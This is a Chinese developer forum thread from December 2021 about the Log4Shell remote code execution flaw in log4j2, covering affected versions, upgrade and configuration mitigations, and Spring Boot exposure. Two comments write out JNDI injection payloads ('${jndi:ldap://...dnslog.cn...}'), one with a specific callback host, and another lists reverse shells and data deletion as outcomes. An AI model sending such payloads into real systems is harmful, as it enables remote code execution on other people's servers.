• 请不要在回答技术问题时复制粘贴 AI 生成的内容
Jooooooooo
V2EX  ›  程序员

log4j2 的漏洞大家今天晚上修复吗?

  •  1
     
  •   Jooooooooo · Dec 10, 2021 · 17036 views
    This topic created in 1790 days ago, the information mentioned may be changed or developed.

    没想到继 fastjson 之后还有这一出.

    82 replies  •  2021-12-13 10:14:58 +08:00
    lix7
    lix7
    Dec 10, 2021
    2
    点完早饭外卖被电话叫起来了修了...
    nook4sh
    nook4sh
    Dec 10, 2021
    3
    log4j 有这个问题吗?
    ericgui
    ericgui
    Dec 10, 2021
    4
    有什么 log4j2 的替代品吗
    zxCoder
    zxCoder
    Dec 10, 2021
    5
    不懂信息安全。。。怎么一个 jar 包还能被攻击啊
    Imindzzz
    Imindzzz
    PRO
    Dec 10, 2021
    6
    作为脚本小子,我只关心 exp
    justs0o
    justs0o
    Dec 10, 2021❤️1
    7
    Apache Log4j2 是一款优秀的 Java 日志框架。2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2 、Apache Solr 、Apache Druid 、Apache Flink 等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。



    漏洞评级

    Apache Log4j 远程代码执行漏洞 严重



    影响版本

    Apache Log4j 2.x <= 2.14.1



    安全建议

    1. 升级 Apache Log4j2 所有相关应用到最新的 log4j-2.15.0-rc1 版本,地址 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1

    2. 升级已知受影响的应用及组件,如 srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid
    wolfie
    wolfie
    Dec 10, 2021
    8
    @ericgui #4
    logback
    MonkeyJon
    MonkeyJon
    Dec 10, 2021
    10
    用户只需排查 Java 应用是否引入 log4j-api , log4j-core 两个 jar 。若存在应用使用,极大可能会受到影响。
    没有这俩,明天可以休息啦
    play78
    play78
    Dec 10, 2021
    11
    springboot -> spring-boot-starter -> spring-boot-starter-logging -> log4j-to-slf4j -> log4j-api 也就是说所有 springboot 项目都会有影响?
    aoizz
    aoizz
    Dec 10, 2021
    12
    @MonkeyJon #10 看 idea 外部库里面有 log4j-api ,但是系统用的是 logback,pom 文件也没有引入 log4j,怎么查看是哪个依赖带的?
    jinzhongyuan
    jinzhongyuan
    Dec 10, 2021
    13
    哪位彦祖讲一下,一个 jar 包怎么被攻击?
    wolfie
    wolfie
    Dec 10, 2021❤️1
    14
    @aoizz #12
    IDEA 、maven ,control + `+号`,所有依赖 tree 形式列出来了。
    enrolls
    enrolls
    Dec 10, 2021
    15
    想看的东西在这
    Vcccc
    Vcccc
    Dec 10, 2021
    17
    Apache log4j2 在 2.0 至 2.14.1 版本均受影响。 好像我们用的还是 1.x 的版本[doge]
    learningman
    learningman
    Dec 10, 2021
    18
    @aoizz #12 你这不都把答案说出来了吗。。。。logback 依赖 log4j 啊
    arthas2234
    arthas2234
    Dec 10, 2021
    20
    打开 IDEA ,搜一下 log4j ,用的是 1.X 的版本,继续摸鱼
    ixx
    ixx
    Dec 10, 2021
    21
    @play78 #11 可以看一下项目 maven 依赖 我看 springboot 2.x 默认使用的不是 log4j
    rayhy
    rayhy
    Dec 10, 2021
    22
    @justs0o 最新消息: https://mp.weixin.qq.com/s/AuBchaUvFw2pisVw6rNX5A

    Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 Apache Log4j 2.15.0-rc2 版本
    Dockerfile
    Dockerfile
    Dec 10, 2021❤️1
    23
    @play78 不是吧 我记得 springboot 默认日志不是 slf4j + logback 么
    dreamramon
    dreamramon
    Dec 10, 2021
    24
    加了环境变量了,不知道顶不顶得住。
    Dockerfile
    Dockerfile
    Dec 10, 2021
    25
    @learningman 谁告诉你 logback 依赖 log4j 的?
    ixx
    ixx
    Dec 10, 2021❤️8
    26
    @jinzhongyuan #13 通俗点说一下问题

    一般代码里会记录请求参数 如登录时记录 log.info("user:{} is login", name); 这个 name 是前台传过来的参数

    如果前台传的是构造的参数如: ${jndi:ldap://xxxx.dnslog.cn/exp}

    exp 返回的是一个构造方法里执行 shell 代码的 class 文件

    然后你设置的什么命令服务器接收到参数后就执行这个命令了
    aoizz
    aoizz
    Dec 10, 2021
    27
    @MonkeyJon #10 spring-boot-starter-web 里面排除 log4j-to-slf4j 就好了
    MonkeyJon
    MonkeyJon
    Dec 10, 2021
    28
    @aoizz 应该是
    adamwhite
    adamwhite
    Dec 10, 2021
    29
    @aoizz ... 麻了,那家公司只有一个后端的,几十个工程都要处理
    wbd31
    wbd31
    Dec 10, 2021
    30
    funway
    funway
    Dec 10, 2021
    31
    @ixx 👍
    感谢大佬,好像懂了
    RuzZ
    RuzZ
    Dec 10, 2021
    32
    @wbd31 没用配置 jms appender ,应该就没有影响吧
    RuzZ
    RuzZ
    Dec 10, 2021❤️1
    34
    @RuzZ 根据 quote 的内容,log4j1.x 不支持 lookup ,也找不到 JNDI 的相关引用,感觉是可以理解为 log4j 1.x 不受此次 bug 的影响
    adamwhite
    adamwhite
    Dec 10, 2021
    35
    可以通过关闭日志暂时屏蔽问题么?
    Lemeng
    Lemeng
    Dec 10, 2021
    36
    大厂加油
    sadfQED2
    sadfQED2
    Dec 10, 2021 via Android
    37
    哈哈哈,非 java boy 开心吃瓜
    iold
    iold
    Dec 10, 2021
    38
    arthas2234
    arthas2234
    Dec 10, 2021
    39
    @wbd31 不会吧,现在蔓延到 1.x 了么,不过我负责的项目是在内网的,还可以观望一下
    play78
    play78
    Dec 10, 2021
    40
    @arthas2234 让网管在防火墙上把 ldap 协议禁止了。估计还可以继续苟。
    xbchaonba
    xbchaonba
    Dec 10, 2021
    41
    苹果云应为这个漏洞被搞了吗,一直登录不了
    matepi
    matepi
    Dec 10, 2021
    42
    @play78 ldap 只是一种利用手段的演示而已,rmi 的方法多了去了
    sha851092391
    sha851092391
    Dec 10, 2021
    43
    快速验证是否有这个问题: https://issues.apache.org/jira/browse/LOG4J2-3202
    修复措施:直接升级到 2.15.0 版本
    临时修复措施: 增加 log4j2.component.properties 配置文件,配置为 log4j2.formatMsgNoLookups=true
    yiywain
    yiywain
    Dec 10, 2021
    44
    没有过哎
    janda
    janda
    Dec 10, 2021
    45
    用的 springboot 、也看了 mvn 仓库没有、这个咋更新
    ```pom
    <dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-log4j2</artifactId>
    </dependency>
    ```
    ivancai
    ivancai
    Dec 10, 2021
    46
    是 log4j2 有问题还是 log4j 都有这个问题?
    NULL2020
    NULL2020
    Dec 10, 2021
    47
    没人说说刚发布的版本怎么编译打包吗?
    wbd31
    wbd31
    Dec 10, 2021
    48
    @sha851092391 log4j2.formatMsgNoLookups 这个配置只有在 2.10.0 之后的版本才生效。
    sshang
    sshang
    Dec 10, 2021
    49
    @ivancai log4j2 就是 log4j 的 2.x 版本,artifact 就是 log4j
    sagaxu
    sagaxu
    Dec 10, 2021 via Android
    50
    官方真急了,禁用了这个功能,把开关都去掉了,官网文档也找不到这个配置项了
    issakchill
    issakchill
    Dec 10, 2021
    51
    @NULL2020 我先用着 2.15.0 顶着 aliyun 库有
    pocketz
    pocketz
    Dec 10, 2021
    52
    janda
    janda
    Dec 10, 2021
    54
    @janda
    maven 更新:

    <!--Log4j-->
    <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.15.0</version>
    </dependency>
    <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.15.0</version>
    </dependency>
    deadofpeople
    deadofpeople
    Dec 10, 2021
    55
    官网的 2.15.0 是 RC2 版本么
    NULL2020
    NULL2020
    Dec 10, 2021
    56
    @pocketz #52 没用,报错


    @issakchill #51 我在阿里仓库网站上能搜索到,但 idea 下载不了
    VIVVACI
    VIVVACI
    Dec 10, 2021
    57
    @adamwhite 日志可不能随便关啊,出了问题日志是 debug 的最重要的依据之一,不能因噎废食
    jamzhou
    jamzhou
    Dec 10, 2021
    58
    确定 log4j-api 也受影响吗,我这边通过尝试构建攻击参数,并未能复现注入攻击。
    而 2.14.1 上,的确可以让记录日志的时候,注入远程执行。
    BigDogWang
    BigDogWang
    Dec 10, 2021
    59
    1.7 版本没事吧
    a594195609
    a594195609
    Dec 10, 2021
    60
    @NULL2020 你看错了吧?阿里云仓库里目前能搜得到的是非官方的,groupId 不一样的,大小都差很远,不敢用。
    Imindzzz
    Imindzzz
    PRO
    Dec 10, 2021
    61
    ${jndi:ldap://00pfh9.dnslog.cn}
    sshang
    sshang
    Dec 10, 2021
    62
    @jamzhou 你复现注入执行的时候,是用的 log4j 的什么包
    lhwarthas
    lhwarthas
    Dec 10, 2021
    63
    源码编译步骤:
    1.准备 JDK8 & JDK11 & maven
    2.配置环境变量 export JAVA_HOME_8_X64=jdk8 目录 export JAVA_HOME_11_X64=jdk11 目录
    3.源码目录下执行 mvn package -Dmaven.test.skip=true -DtrimStackTrace=false -Dmaven.test.failure.ignore=true -Dsurefire.rerunFailingTestsCount=1 --global-toolchains .github/workflows/maven-toolchains.xml
    pocketz
    pocketz
    Dec 10, 2021
    64
    @NULL2020
    你报错信息是什么?我这边报错是远程 repo 里没有 log4j-api-java9 。

    把源码里的 log4j-api-java9 添加到我本地的 repo 里,log4j-api 就编译成功了
    donespeak
    donespeak
    Dec 10, 2021
    65
    有人讲讲通过这个漏洞可以做什么样的吗?
    whoosy
    whoosy
    Dec 10, 2021
    66
    正在搞
    Depth
    Depth
    Dec 10, 2021
    67
    @donespeak 远程命令执行,好点的远程下载木马,反弹 shell,坏点的,rm -r root 一下
    yangyaofei
    yangyaofei
    Dec 10, 2021 via Android
    68
    那个……如果是 linux 上,用一个很低的权限(只有 web 文件夹有读权限)的帐户运行程序,是不是就没事儿了?
    zooo
    zooo
    Dec 10, 2021
    69
    @donespeak 大概就是攻击者想执行什么代码就可以执行什么代码
    linvaux
    linvaux
    Dec 10, 2021
    70
    @ericgui logback
    codehz
    codehz
    Dec 10, 2021 via Android
    72
    @yangyaofei 考虑下内网有没有别的服务(
    比如数据库

    还有就是即使啥权限没有,也能挖矿
    TankZZZ
    TankZZZ
    Dec 10, 2021 via iPhone
    73
    今天修复了一天。
    jamzhou
    jamzhou
    Dec 10, 2021
    74
    @sshang 我用的 2.14.1

    <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
    </dependency>
    <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
    </dependency>
    movq
    movq
    Dec 10, 2021❤️1
    75
    Spring 里面默认用的 logback+slf4j ,然后 log4j api 只是个 api ,log4j-to-slf4j 只是让调用 log4j 的代码不变,背后实际调用的是 slf4j 吧

    总结下来就是 Spring 默认情况下不存在这个漏洞

    @jamzhou
    @aoizz
    @aoizz
    @play78
    hallDrawnel
    hallDrawnel
    Dec 10, 2021
    76
    今天看隔壁修了一天,还好我们这边没 Java
    ericFork
    ericFork
    Dec 10, 2021
    77
    @hallDrawnel #76 依赖的基础设施如果有用到的话也一样要修的,比如 kafka, elasticsearch
    hallDrawnel
    hallDrawnel
    Dec 11, 2021
    78
    @ericFork 是的,但是那个有其他团队负责修,我们只需要观察稳定性就行了
    vincent956
    vincent956
    Dec 11, 2021
    79
    @MonkeyJon springboot 自己引入的这个两个包,但是项目上没有使用,有影响吗
    Kaiv2
    Kaiv2
    Dec 11, 2021
    80
    高版本 JDK 不用太担心
    com.sun.jndi.rmi.object.trustURLCodebase 这个参数没有设置为 true ,不会远程加载 class, 会抛出异常
    ixx
    ixx
    Dec 11, 2021
    81
    @vincent956 #79 springboot 默认是没有影响的
    gooplexsle
    gooplexsle
    Dec 13, 2021❤️1
    82
    参考 https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot spring-boot-starter-logging 包中的 log4j-to-slf4j 与 log4j-api 不受漏洞影响,只有 log4j-core 受影响
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Privacy   ·   Solana   ·   2110 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 129ms · UTC 16:23 · PVG 00:23 · LAX 08:23 · JFK 11:23
    ♥ Do have faith in what you're doing.